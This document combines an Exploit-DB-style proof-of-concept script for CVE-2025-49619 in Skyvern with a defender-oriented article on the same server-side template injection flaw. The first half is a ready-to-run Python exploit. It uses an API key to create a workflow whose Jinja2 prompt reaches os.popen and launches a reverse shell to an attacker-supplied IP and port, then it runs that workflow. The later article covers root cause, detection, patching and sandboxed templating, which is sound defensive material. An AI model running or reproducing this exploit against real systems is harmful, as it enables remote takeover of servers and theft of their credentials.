Skyvern 0.1.85 - Remote Code Execution (RCE) via SSTI
# Exploit Title: Skyvern 0.1.85 - Remote Code Execution (RCE) via SSTI
# Date: 2025-06-15
# Exploit Author: Cristian Branet
# Vendor Homepage: https://www.skyvern.com/
# Software Link: https://github.com/Skyvern-AI/skyvern
# Version: < 0.1.85, before commit db856cd
# Tested on: Skyvern Cloud app / Local Skyvern (Linux Ubuntu 22.04)
# CVE : CVE-2025-49619
# Article: https://cristibtz.github.io/posts/CVE-2025-49619/
'''
Skyvern's Workflow Editor allows prompt injection via Jinja2 template syntax.
An attacker with low privileges can inject a malicious payload in a block that contains Prompt section,
which gets rendered server-side, resulting in blind remote code execution via curl.
'''
import requests, argparse, pyfiglet
parser = argparse.ArgumentParser(description="This script exploits CVE-2025-49619 in Skyvern to execute a reverse shell command.", formatter_class=argparse.ArgumentDefaultsHelpFormatter)
parser.add_argument("-u", "--url", required=True, help="Skyvern URL (e.g., http://example.com:8080)")
parser.add_argument("-k", "--x-api-key", required=True, help="Go to Skyvern app -> Settings -> API Key -> Reveal and copy the API key")
parser.add_argument("-i", "--ip", required=True, help="IP address to receive the reverse shell connection")
parser.add_argument("-p", "--port", required=True, help="Port for the reverse shell connection")
def create_exploit_workflow(url, ip, port, x_api_key):
exploit_workflow = {
"title": "Exploit",
"description": "",
"proxy_location": "RESIDENTIAL",
"webhook_callback_url": "",
"persist_browser_session": False,
"model": None,
"totp_verification_url": None,
"workflow_definition": {
"parameters": [],
"blocks": [
{
"label": "block_1",
"continue_on_failure": False,
"block_type": "task_v2",
"prompt": (
"{% for x in ().__class__.__base__.__subclasses__() %}\n"
" {% if 'warning' in x.__name__ %}\n"
" {{ x()._module.__builtins__['__import__']('os').popen(\n"
" \"python3 -c 'import socket,os,pty;\"\n"
" \"s=socket.socket();\"\n"
f" \'s.connect((\\\"{ip}\\\",{port}));\'\n"
" \"os.dup2(s.fileno(),0);\"\n"
" \"os.dup2(s.fileno(),1);\"\n"
" \"os.dup2(s.fileno(),2);\"\n"
" \"pty.spawn(\\\"sh\\\")'\"\n"
" ).read() }}\n"
" {% endif %}\n"
"{% endfor %}"
),
"url": "",
"max_steps": 25,
"totp_identifier": None,
"totp_verification_url": None
}
]
},
"is_saved_task": False
}
headers = {
"Content-Type": "application/json",
"X-API-Key": x_api_key
}
response = requests.post(f"{url}/api/v1/workflows", json=exploit_workflow, headers=headers)
if response.status_code == 200:
print("[+] Exploit workflow created successfully!")
else:
print("[-] Failed to create exploit workflow:", response.text)
return None
workflow_permanent_id = response.json().get("workflow_permanent_id")
print(f"[+] Workflow Permanent ID: {workflow_permanent_id}")
return workflow_permanent_id
def run_exploit_workflow(url, x_api_key, workflow_permanent_id):
workflow_data = {
"workflow_id": workflow_permanent_id
}
headers = {
"Content-Type": "application/json",
"X-API-Key": x_api_key
}
response = requests.post(f"{url}/api/v1/workflows/{workflow_permanent_id}/run", json=workflow_data, headers=headers)
if response.status_code == 200:
print("[+] Exploit workflow executed successfully!")
else:
print("[-] Failed to execute exploit workflow:", response.text)
if __name__=="__main__":
print("\n")
print(pyfiglet.figlet_format("CVE-2025-49619 PoC", font="small", width=100))
print("Author: Cristian Branet")
print("GitHub: github.com/cristibtz")
print("Description: This script exploits CVE-2025-49619 in Skyvern to execute a reverse shell command.")
print("\n")
args = parser.parse_args()
url = args.url
x_api_key = args.x_api_key
ip = args.ip
port = args.port
workflow_permanent_id = create_exploit_workflow(url, ip, port, x_api_key)
run_exploit_workflow(url, x_api_key, workflow_permanent_id) Skyvern 0.1.85 — Remote Code Execution via SSTI (CVE-2025-49619)
This article explains the Server‑Side Template Injection (SSTI) vulnerability discovered in Skyvern prior to commit db856cd and released as CVE‑2025‑49619. It describes the root cause at a high level, the practical impact, how organizations can detect signs of exploitation, and safe remediation and hardening guidance tailored for developers, DevOps, and incident responders.
Quick summary
- Affected software: Skyvern (versions before 0.1.85 / before commit db856cd).
- Vulnerability type: Server‑Side Template Injection (SSTI) in the Workflow Editor prompt rendering.
- Impact: Blind remote code execution (RCE) on the server process hosting the workflow renderer; attacker can trigger outbound connections and spawn commands.
- Attack vector: Low‑privileged user can save a workflow block containing template syntax; the platform rendered that template server‑side.
- Immediate remediation: upgrade to patched release (apply vendor patch), revoke and rotate exposed API keys, restrict egress and execution privileges, and audit workflow content.
What is SSTI (server‑side template injection)?
Server‑Side Template Injection occurs when user‑controlled input is interpreted by a server‑side template engine rather than treated as data. Template engines (for example Jinja2 for Python) are powerful — they allow expressions, loops and sometimes access to the hosting runtime. If untrusted input is rendered as a template, an attacker may be able to execute arbitrary code or access internal objects.
Why this was dangerous in Skyvern
- Skyvern’s Workflow Editor allowed user‑supplied prompt content to be processed by the application’s template renderer.
- That renderer ran with privileges of the application process and had access to system resources (network, filesystem, process management).
- Low‑privileged users could craft content that the renderer evaluated, producing blind RCE (attacker triggers behaviors such as outbound connections, command execution, or data exfiltration without receiving template output directly).
High‑level technical root cause
At a conceptual level, the vulnerability resulted from conflating “template” and “data”: the application treated an editable prompt (user data) as an executable template and invoked the template engine with the application’s default, unrestricted environment. Template engines that expose attribute lookups and builtin access let malicious templates navigate object hierarchies and call sensitive functions.
Impact and real‑world risks
- Full server compromise or command execution under the application user.
- Credential theft (API keys, secrets accessible to the process), lateral movement within cloud environments, persistence via added workloads or cron tasks.
- Data exfiltration through outbound connections or staged uploads.
- Supply‑chain or tenant‑level compromise for multi‑tenant SaaS deployments (if multi‑tenant isolation is not enforced).
Detection guidance (defender‑focused)
Detecting exploitation attempts requires monitoring both application artifacts and host/network signals. Below are high‑value avenues to investigate and instrument.
- Application audit logs: Search workflow creation and update events for user content containing template markers such as delimiters used by the platform’s renderer (common tokens are sequences like
{{or{%). Flag workflows created or modified by accounts with minimal privileges. - API key access logs: Correlate API key use with unexpected workflow creation times or from unusual source IPs.
- Post‑execution correlations: After a workflow run, look for unusual outbound connections from the app host to uncommon IP addresses/ports, especially if correlated in time with new/modified workflows.
- Host indicators: EDR/endpoint logs showing child processes spawned from the app process, unusual shells, or network sockets opened by the hosting user are high‑confidence signals.
- Database/content inspection: Periodically scan stored workflow definitions for template tokens or suspicious patterns and raise alerts for manual review.
Immediate mitigation steps for operators
- Deploy the vendor patch or update to the fixed release (versions containing commit
db856cdor newer). - Rotate API keys and credentials that may have been exposed or used to create malicious workflows. Invalidate unused keys.
- Temporarily restrict application egress from the hosting environment (block unnecessary outbound ports and hosts) while you investigate.
- Audit and manually review recently created workflows/blocks for template markers; remove or quarantine suspicious items.
- Harden the runtime: run the application in a least‑privilege container or dedicated service account, enforce strict filesystem and network policies, and use process cgroups or seccomp to limit potential impact.
Secure coding and design recommendations
Below are practical, defense‑in‑depth controls developers and architects should apply to prevent similar SSTI issues in future projects.
- Do not render user input as templates: Treat user content as data. If you need placeholders, use a deliberately limited, non‑Turing-complete templating system (for example Mustache/Handlebars implementations that do not expose host runtime).
- Use sandboxed template environments: If a full template engine must be used, create a sandboxed renderer with an explicit allowlist of globals/filters and no access to builtins or attribute traversal primitives.
- Whitelist allowable constructs: Restrict templates to a fixed set of expression patterns and validate templates against a safe grammar before rendering.
- Principle of least privilege: Run renderers in isolated processes/containers with minimal network and filesystem privileges; deny outgoing network by default.
- Input validation and normalization: Reject or escape known template delimiter sequences in fields that should not be templated, and implement layered validation (frontend + backend).
Safe example: using a sandboxed Jinja2 environment (defensive)
from jinja2.sandbox import SandboxedEnvironment
# Create a sandboxed environment and intentionally restrict globals/filters.
env = SandboxedEnvironment()
# Remove or limit global functions (do not expose os, sys, or builtins).
env.globals.clear()
# Optionally provide a small, explicit set of safe helpers.
env.globals.update({
'upper': str.upper,
})
# Render only trusted templates or sanitized template sources.
safe_template = env.from_string("Hello, {{ name | upper }}")
result = safe_template.render(name="Alice")
print(result)
Explanation: This snippet demonstrates a defensive approach using Jinja2's SandboxedEnvironment. The environment starts with no globals, then selectively adds safe helper functions. You should avoid exposing Python builtins, modules, or object traversal mechanisms. Importantly, only render templates that you have validated as safe, and prefer placeholder substitution libraries (non‑Turing complete) for untrusted user content when possible.
Alternative: use a non‑executable template approach for user content
from string import Template
# Simple placeholder substitution (no code execution).
tpl = Template("Hello, $name")
result = tpl.safe_substitute(name="Alice")
print(result)
Explanation: The standard library's Template performs straightforward placeholder substitution without expression evaluation. It is a safer option for user‑provided display text because it does not evaluate arbitrary code or allow attribute access.
For incident responders: triage checklist
- Identify and isolate affected hosts (limit network egress and remove from production networks until triage completes).
- Collect forensic artifacts: application logs, workflow definitions, database dumps (workflow records), API access logs, host process listings, and network flows around the suspected times.
- Search stored workflow bodies for template tokens and record which accounts created them and from which IPs.
- Inspect outbound connections and destination IPs for unknown infrastructure; block or sinkhole destinations used by confirmed attacks.
- Rotate secrets and keys accessible to the compromised process and preemptively rotate tenant keys where appropriate.
- After cleanup, redeploy patched application binaries from trusted build artifacts and harden runtime environment as described above.
Operational recommendations for platform owners
- Enforce policy: disallow arbitrary template rendering of user content by default. If user templating is a feature, require explicit opt‑in and review templates for safety.
- Telemetry: log both template content and rendering result (redact sensitive data) to support investigations.
- Automated scanning: implement a pre‑commit or CI check that flags template tokens in fields intended to be user data, and implement a periodic inventory of saved workflows for policy violations.
- Access controls: limit who can create/run workflows and implement multi‑factor authentication for higher‑privilege API operations.
References and further reading
- Vendor/project: Skyvern and GitHub: github.com/Skyvern-AI/skyvern
- Advisory and writeup: Cristian Branet — public analysis of CVE‑2025‑49619 (search vendor advisories and the referenced researcher writeup for full patch details).
- General SSTI defenses: OWASP guidance on template injection and secure template usage.
Closing notes
CVE‑2025‑49619 is a reminder that template engines are powerful and must be treated as an execution surface. The safest posture is to avoid evaluating untrusted content, or to do so only within tightly constrained, sandboxed environments combined with network and host hardening. If you operate Skyvern instances, prioritize applying the vendor patch, rotate exposed credentials, and follow the detection and hardening steps above.